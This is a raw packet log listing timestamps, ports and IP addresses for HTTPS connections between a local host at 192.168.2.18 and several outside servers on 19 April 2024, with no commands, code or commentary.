Apr 19, 2024 17:01:45.641958952 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.642033100 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.643074989 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.643151045 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.686918974 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.686944008 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:45.732930899 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:45.801012039 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.801294088 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.801311016 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.801769972 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.802303076 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.802393913 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:45.802469969 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:45.844160080 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.058455944 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.058840990 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.058927059 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.060049057 CEST	49714	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.060072899 CEST	443	49714	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.095660925 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.095699072 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.095916033 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.096112013 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.096127987 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.316154003 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.316550016 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.316567898 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.317033052 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.317567110 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.317651033 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.317807913 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.317831993 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.317897081 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.317975044 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.318011999 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.575671911 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.575798035 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.575874090 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.575885057 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.575913906 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576023102 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.576033115 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576150894 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576210976 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.576217890 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576658964 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576714993 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.576720953 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576925993 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.576989889 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.576996088 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.577291012 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.577353954 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.577359915 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.577668905 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.577750921 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.577759981 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.578366995 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.578421116 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.578428030 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.578990936 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.579045057 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.579051971 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.579442024 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.579499006 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.579505920 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.579974890 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.580034018 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.580040932 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.580460072 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.580519915 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.580527067 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.580883026 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.580941916 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.580948114 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.581162930 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.581305981 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.581312895 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.581573963 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.581634045 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.581737041 CEST	49717	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:46.581753016 CEST	443	49717	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:46.584871054 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.584956884 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.585072041 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.585284948 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.585321903 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.805118084 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.805444002 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.805507898 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.805988073 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.806304932 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.806394100 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.806459904 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:46.848161936 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:46.858917952 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:47.071135998 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:47.071331978 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:47.071424007 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:47.072069883 CEST	49718	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:47.072108984 CEST	443	49718	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.219825983 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.219899893 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.219996929 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.220273972 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.220295906 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.435964108 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.436342001 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.436359882 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.436840057 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.437150955 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.437223911 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.437294006 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.437375069 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.437422991 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.437517881 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.437541962 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684544086 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684623957 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684668064 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684679985 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.684694052 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684741020 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.684746981 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684850931 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.684894085 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.685616970 CEST	49720	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:49.685631990 CEST	443	49720	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:49.688060045 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.688093901 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.688179970 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.688402891 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.688419104 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.700130939 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.700180054 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.700253963 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.700454950 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.700465918 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.904236078 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.904555082 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.904580116 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.904987097 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.905281067 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.905342102 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.905544043 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:49.928255081 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.928544998 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.928606033 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.929821014 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.930253983 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.930412054 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.930423975 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.930458069 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:49.930536985 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:49.952152014 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:49.985940933 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.168117046 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:50.168196917 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:50.168267012 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:50.168899059 CEST	49721	443	192.168.2.18	104.17.2.184
Apr 19, 2024 17:01:50.168936968 CEST	443	49721	104.17.2.184	192.168.2.18
Apr 19, 2024 17:01:50.207993984 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208221912 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208297014 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208312988 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.208380938 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208447933 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.208467007 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208607912 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.208687067 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.209418058 CEST	49722	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.209449053 CEST	443	49722	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.212207079 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.212254047 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.212342978 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.212584972 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.212605953 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.224227905 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.224277020 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.224355936 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.224595070 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.224611998 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.228952885 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.229046106 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.229146004 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.229374886 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.229408979 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.427943945 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.428350925 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.428375006 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.428719997 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.429088116 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.429147959 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.429250956 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.443514109 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.443886042 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.443906069 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.444405079 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.444530964 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.444804907 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.444900036 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.445008039 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.445039988 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.445157051 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.445226908 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.445257902 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.445333958 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.445617914 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.445679903 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.445724010 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.476113081 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.488166094 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.494965076 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.688874006 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.688942909 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.689034939 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.689853907 CEST	49723	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:50.689873934 CEST	443	49723	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:50.708234072 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708312035 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708343983 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708376884 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.708379984 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708403111 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708429098 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.708570957 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708596945 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708611965 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.708620071 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708656073 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.708858013 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708925009 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708951950 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.708964109 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.708971977 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.709048033 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.709471941 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.709527016 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.709564924 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.709573030 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.709594011 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.709635973 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.710038900 CEST	49725	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:50.710052013 CEST	443	49725	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:50.862061024 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:50.862092018 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:50.862181902 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:50.906620026 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:50.906636953 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.131722927 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.131884098 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.157805920 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.157836914 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.158394098 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.206937075 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.304940939 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.352113962 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.409626007 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.409707069 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.409754992 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.409813881 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.409836054 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.409847975 CEST	49726	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.409856081 CEST	443	49726	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.496083975 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.496129990 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.496226072 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.496517897 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.496531963 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.709659100 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.709804058 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.711075068 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.711096048 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.711442947 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.712932110 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.756133080 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.762979984 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.763174057 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.763252020 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.766041040 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.766066074 CEST	443	49724	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.766077995 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.766139030 CEST	49724	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.766918898 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.766944885 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.767030954 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.767241955 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.767258883 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.916376114 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.916465998 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.916523933 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.917330980 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.917356968 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.917371988 CEST	49727	443	192.168.2.18	184.31.62.93
Apr 19, 2024 17:01:51.917378902 CEST	443	49727	184.31.62.93	192.168.2.18
Apr 19, 2024 17:01:51.993266106 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.993626118 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.993657112 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.994821072 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.995155096 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.995302916 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:51.995322943 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:51.995357990 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.036159992 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.425633907 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.425746918 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.425811052 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.425822020 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.425851107 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.425898075 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.425921917 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.426152945 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.426208973 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.426876068 CEST	49728	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.426901102 CEST	443	49728	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.462313890 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.462395906 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.462498903 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.462748051 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.462773085 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.464263916 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.464303970 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.464433908 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.464551926 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.464567900 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.465023994 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.465100050 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.465176105 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.465419054 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.465456963 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.679497957 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.679858923 CEST	49729	443	192.168.2.18	172.67.179.148
